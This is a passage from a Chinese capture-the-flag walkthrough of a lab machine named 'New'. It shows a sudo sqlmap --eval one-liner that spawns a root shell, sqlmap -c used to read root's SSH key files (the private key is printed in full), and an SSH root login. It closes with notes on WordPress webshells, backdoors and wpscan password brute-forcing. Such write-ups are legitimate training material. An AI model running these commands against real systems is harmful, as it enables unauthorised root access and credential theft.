固定MD5插入位置: 7545
facbade1e798d215d4685d1316e91510
0dbaaac8150e71345acb7de93c241351
00caa83bd3945d9a755e3376f9b1c02c
0e7b6a63d082d1d462296a053b60b9cb
736edd1bd9daaae1d0a3aa8e5fe08acf
e2dbff6c8463e44b5eef97de6bfe6bd4
dbfda692a0584949829196ff2ed89bc7
6b401d2bd84218b9a4a4ba3d8152c192
cd2ea498cdae5570a245c72487648f64

提示固定MD5插入的位置在7545,提取相关的行数

1
2
3
4
www-data@New:/tmp$ awk 'NR>7544 && NR <7547 {print NR ":" $0}' 1.txt
awk 'NR>7544 && NR <7547 {print NR ":" $0}' 1.txt
7545:c82402fcc82eede0d7de1a3a03e713ae
7546:9eeb22195b4eb7a35bcad0f45761eb7b

找到目标的MD5值:9eeb22195b4eb7a35bcad0f45761eb7b

直接使用MD5值即可登录

1
2
3
4
5
6
7
www-data@New:/tmp$ su - andeli
su - andeli
Password: 9eeb22195b4eb7a35bcad0f45761eb7b
id
uid=1002(andeli) gid=1002(andeli) groups=1002(andeli)
/usr/bin/script -qc /bin/bash /dev/null
andeli@New:~$

2、获取root权限

执行sudo -l,发现可以执行/usr/bin/sqlmap

1
2
3
4
5
6
7
andeli@New:~$ sudo -l
Matching Defaults entries for andeli on New:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User andeli may run the following commands on New:
(ALL) NOPASSWD: /usr/bin/sqlmap

sqlmap提权

方案一:sudo

直接使用gtfobins的方案
https://gtfobins.github.io/gtfobins/sqlmap/

1
sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"

运行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
andeli@New:~$ sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"
___
__H__
___ ___["]_____ ___ ___ {1.5.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:17:55 /2025-07-02/

[10:17:55] [INFO] testing connection to the target URL
# id
uid=0(root) gid=0(root) groups=0(root)

方案二:sqlmap读取文件

查看sqlmap的详细用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
andeli@New:~$ sudo /usr/bin/sqlmap -hh
___
__H__
___ ___[(]_____ ___ ___ {1.5.2#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file

Request:
These options can be used to specify how to connect to the target URL

-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files

User-defined function injection:
These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library

File system access:
These options can be used to access the back-end database management
system underlying file system

--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:
These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of SQLi/XSS vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")

Miscellaneous:
These options do not fit into any other category

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when SQLi/XSS/FI is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users
[10:21:23] [WARNING] your sqlmap version is outdated

发现-c可以读取文件

尝试读取root的私钥

  • 先读取authorized_keys,(有该文件才能使用私钥登录)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    andeli@New:~$ sudo /usr/bin/sqlmap -c /root/.ssh/authorized_keys
    ___
    __H__
    ___ ___[,]_____ ___ ___ {1.5.2#stable}
    |_ -| . ['] | .'| . |
    |___|_ [)]_|_|_|__,| _|
    |_|V... |_| http://sqlmap.org

    [10:26:35] [CRITICAL] you have provided an invalid and/or unreadable configuration file ('MissingSectionHeaderError: File contains no section headers.
    file: '/root/.ssh/authorized_keys', line: 1
    'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJLSzroyaI5CJA/xwd/KU8qS5KE+Sy8TeeaKX3+NfEf+ root@New\n'')
    [10:26:35] [WARNING] your sqlmap version is outdated
  • 再读取id_ed25519,找到私钥

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    andeli@New:~$ sudo /usr/bin/sqlmap -c /root/.ssh/id_ed25519     
    ___
    __H__
    ___ ___[(]_____ ___ ___ {1.5.2#stable}
    |_ -| . [)] | .'| . |
    |___|_ [)]_|_|_|__,| _|
    |_|V... |_| http://sqlmap.org

    [10:27:52] [CRITICAL] you have provided an invalid and/or unreadable configuration file ('MissingSectionHeaderError: File contains no section headers.
    file: '/root/.ssh/id_ed25519', line: 1
    '-----BEGINOPENSSHPRIVATEKEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/gAAAJABMRbsATEW7AAAAAtzc2gtZWQyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/gAAAEAOtKwQ02tXjPMfbI2/sWqEVhc1bmdH8uGINK2y4UN005LSzroyaI5CJA/xwd/KU8qS5KE+Sy8TeeaKX3+NfEf+AAAACHJvb3RATmV3AQIDBAU=-----ENDOPENSSHPRIVATEKEY-----'')
    [10:27:52] [WARNING] your sqlmap version is outdated

处理私钥

1
2
3
4
5
6
7
┌──(root㉿kali)-[/tmp]
└─# cat id | sed -r 's/-----[A-Z]+-----//g' | sed -r 's/.{70}/&\n/g'
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/gAAAJABMRbsATEW
7AAAAAtzc2gtZWQyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/g
AAAEAOtKwQ02tXjPMfbI2/sWqEVhc1bmdH8uGINK2y4UN005LSzroyaI5CJA/xwd/KU8qS
5KE+Sy8TeeaKX3+NfEf+AAAACHJvb3RATmV3AQIDBAU=

形成私钥

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/gAAAJABMRbsATEW
7AAAAAtzc2gtZWQyNTUxOQAAACCS0s66MmiOQiQP8cHfylPKkuShPksvE3nmil9/jXxH/g
AAAEAOtKwQ02tXjPMfbI2/sWqEVhc1bmdH8uGINK2y4UN005LSzroyaI5CJA/xwd/KU8qS
5KE+Sy8TeeaKX3+NfEf+AAAACHJvb3RATmV3AQIDBAU=
-----END OPENSSH PRIVATE KEY-----

登录root用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[/tmp]
└─# ssh root@192.168.2.43 -i 1
Linux New 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul 1 08:08:27 2025 from 192.168.3.94
root@New:~# id
uid=0(root) gid=0(root) groups=0(root)
root@New:~#

ROOT FALG

1
2
root@New:~# cat /root/root.txt
flag{root-12e5770e-5667-11f0-8acc-4fa40e22b275}

【总结】

1、WordPress渗透

信息收集:锁定突破口

  • 指纹识别:通过/wp-admin//wp-includes/等路径识别WordPress版本,寻找已知漏洞。
  • 主题/插件探测:扫描/wp-content/themes//wp-content/plugins/目录,获取插件名称及版本(如使用WPScan工具)。
  • 敏感文件泄露:查找wp-config.php备份文件(如wp-config.php.bak),可能泄露数据库账号密码。

漏洞利用:四大高危方向

  • 核心程序漏洞:如CVE-2022-21661(SQL注入)、CVE-2022-21662(权限提升)。
  • 插件/主题漏洞
    • 文件上传漏洞(如未过滤的.php文件上传)。
    • SQL注入(如某表单未做参数过滤)。
    • 远程代码执行(RCE)。
  • 弱口令爆破:针对wp-login.php页面,使用字典爆破管理员密码。
  • 权限提升:通过低权限账户(如投稿作者)结合插件漏洞获取管理员权限。

权限维持与横向移动

  • 写入Webshell:通过文件上传或编辑主题文件插入恶意代码。
  • 据库后门:在wp_posts表中插入PHP代码,实现持久化控制。
  • 嗅探敏感数据:窃取用户信息、支付数据,甚至控制服务器。

2、wpscan使用教程

  • 全站扫描:输出 WordPress 核心、插件、主题版本信息
    1
    wpscan --url http://example.com --api-token=xxxx
  • 模糊扫描(无 Token):仅显示版本号,无漏洞详情
    1
    wpscan --url http://example.com --no-api-token
  • 插件漏洞扫描
    1
    wpscan --url http://example.com --enumerate p
  • 主题漏洞扫描
    1
    wpscan --url http://example.com --enumerate t
  • 用户枚举
    1
    wpscan --url http://example.com --enumerate u
  • 指定用户爆破
    1
    2
    3
    wpscan --url http://example.com --username admin --wordlist /path/to/passwords.txt
    #多线程加速
    添加 --threads 30 提升效率
  • 文件扫描
    1
    wpscan --url http://example.com --enumerate tt
  • 组合命令
    1
    wpscan --url http://example.com --api-token YOUR_TOKEN --enumerate u,p,t,vp,vt --username admin --wordlist /dicts/top1000.txt --threads 20

3、Sqlmap提权

方案一:sudo

sqlmap命令具有sudo权限

1
sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"

方案二:读取私钥文件

sqlmap命令参数-c,可以读取文件,可以读取root用户的ssh私钥

4、读取SSH私钥的步骤

  1. SSH私钥默认存储在用户主目录的.ssh隐藏文件夹中
  2. 首先查看是否有文件authorized_keys,必须拥有该文件才能使用私钥登录
  3. 根据authorized_keys,查看私钥的文件名,一般是id_rsa或者id_ed25519
  4. 验证私钥格式,确保私钥格式符合 OpenSSH 标准(以 -----BEGIN OPENSSH PRIVATE KEY----- 开头,以 -----END OPENSSH PRIVATE KEY----- 结尾),同时私钥每行70个字符
  5. 私钥文件的权限必须为600,否则SSH客户端会拒绝使用

New
http://miao-sec.github.io/Maze-sec/New/
作者
Miao
发布于
2025年7月2日
许可协议
BY-MIAO